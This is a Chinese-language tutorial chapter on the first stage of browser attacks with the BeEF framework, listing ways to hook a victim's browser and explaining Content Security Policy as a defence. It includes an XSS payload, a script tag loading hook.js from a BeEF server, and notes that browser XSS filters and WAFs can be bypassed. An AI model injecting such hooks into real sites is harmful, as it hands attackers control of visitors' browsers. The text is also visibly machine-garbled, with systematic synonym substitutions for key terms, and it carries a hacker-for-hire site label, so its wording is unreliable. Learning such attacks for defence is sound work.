前语
在上一章,笔者现已介绍了BeEF结构。在这一章,笔者将介绍进犯阅读器技能的第一步:初始操控。
阅读器进犯办法流程
进犯阅读器一般分为几个阶段,看下图:
整个进程分为三个过程,第一步是初始化操控,第二步是继续操控,第三步是进犯。在第三步中的七个进犯办法是能够穿插的,比方能够一起进犯用户和进犯Web运用。接下来会一章一章的介绍这些内容。这一章介绍初始化操控。
初始化操控
首要在这一章中会介绍初始化操控的办法。初始化操控也便是想办法让BeEF服务器勾子(还记得上一章的hook.js吗)在用户阅读器中运转,勾子初度运转会搜集一些有用的信息回来给服务器,并做好后续预备。初始化操控常见的进犯办法有以下几个:
1.运用XSS进犯
2.运用有危险的Web运用
3.运用广告网络
4.运用社会工程进犯
5.运用中间人进犯
上面这个五个办法是比较常见,并不代表悉数的进犯办法。下面就逐个介绍这五种办法。
运用XSS进犯
Freebuf有许多关于XSS的文章,读者能够自行查阅。这儿就不展开说,留点篇幅来介绍其他的办法。运用XSS进犯能在页面中刺进相似下面的句子就能够了。
script src="http://127.0.0.1:3000/hook.js">script>
如果是在实在环境中运用,那么就有或许需求绕过XSS的防护机制。XSS的防护机制能够大致分为阅读器XSS防护机制和服务器的WAF。现代阅读器中都内置了XSS防护机制,比方Chrome和Safari的XSS Auditor, IE的XSS过滤器, 以及Firefox的NoScript扩展。笔者在用dwva做反射型xss测验时发现一个有意思的工作,国内的一些盛行的阅读虽然能检测出XSS的向量,却仍是加载并运转XSS的向量。至于服务器的WAF,这就有许多了。上述的两种XSS防护机制是有或许被绕过的。
关于BeEF这种需求加载长途js(hook.js)的XSS进犯,还有一种更好防护办法。那便是CSP(Content Security Policy, 内容安全战略),CSP是一个额定的安全层,用于检测并削弱某些特定类型的进犯,包括跨站脚本 (XSS) 和数据注入进犯等。这儿只介绍CSP是怎么防护BeEF这种进犯的,CSP具体的内容读者能够参阅:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP/CSP_policy_directives
关于防护BeEF这类需求加载长途js的进犯来说能够运用CSP规则页面从哪里加载脚本,一起还能够规则对这些脚本作出约束,比方约束履行javascript的eval()函数。
能够经过两种办法来运用CSP, 一种是装备WEB服务器回来Content-Security-Policy 首部, 第二种是运用米素。
下面给个典型的比如:
Content-Security-Policy: default-src 'self' //网站管理者想要页面的一切内容(js, 图片, css等资源)均来自站点的同一个源 (不包括其子域名)
meta http-equiv="Content-Security-Policy" content="default-src 'self' ">
上面的CSP指令,会告知阅读器,这个页面只加载同源(还记得同源战略吗)的资源,这样就能够防护关于需求加载异源的BeEF进犯了。CSP也不是必定就安全的,网上也有一些文章在评论怎么绕过CSP。感兴趣的读者能够自己去找来看。
运用有安全缝隙的Web运用
这种办法主要是经过Web缝隙来修正网页的内容,让其包括歹意的代码,关于BeEF来讲便是在网页中参加勾子。使用Web运用能够触及各种进犯,这儿就不展开评论了。
[1] [2] [3] 黑客接单网